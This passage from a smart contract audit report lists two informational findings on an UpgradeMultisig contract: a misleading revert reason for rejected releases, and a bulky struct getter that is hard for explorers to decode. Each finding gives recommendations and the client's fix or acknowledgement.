Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.24 Misleading revert reason when release is not `Pending`

Severity: Informational

Context: UpgradeMultisig.sol#L189

Description: The function `executeRelease` from contract `UpgradeMultisig` checks:

- `if (release.status != Status.Pending) { revert ReleaseAlreadyExecuted(); }`.

However, `status != Pending` can also mean the release was **rejected**, not necessarily executed. Reverting with `ReleaseAlreadyExecuted()` in the rejected case is misleading and can confuse operators, monitoring systems, and off-chain tooling that interpret revert reasons to understand why execution failed.

Recommendation: Consider to use a more accurate revert condition and error signaling, for example:

- Revert with a generic `InvalidReleaseStatus()` when not pending, or...
- Split checks and use dedicated errors (e.g., `ReleaseAlreadyExecuted()` for executed, `ReleaseRejected()` for rejected).

Arkis: Fixed in PR 9.

Cantina Managed: Fix verified.

3.6.25 Returning the full `Release` struct can be cumbersome for explorers and clients

Severity: Informational

Context: UpgradeMultisig.sol#L237

Description: The function `getRelease` from contract `UpgradeMultisig` returns the entire `Release` struct (`return releases[releaseId];`). Depending on the struct layout (nested arrays for beacon upgrades, proxy upgrades, diamond cuts, evaluator updates), this can be heavy and inconvenient for block explorers and some tooling to decode and display.

In practice, consumers often need only high-level metadata (operator, status, timelockStart, array lengths) or only one specific upgrade list, and fetching/decoding the full struct increases friction for monitoring and operational workflows.

Recommendation: Consider to add helper view functions to retrieve commonly needed subsets, such as:

- A lightweight "metadata" getter (operator, status, timelockStart, and lengths of each upgrades array).
- Separate getters for each upgrade list (beacon upgrades / proxy upgrades / diamond cuts / evaluator updates), optionally with pagination if arrays can grow large.

Arkis: Acknowledged.

Cantina Managed: Acknowledged.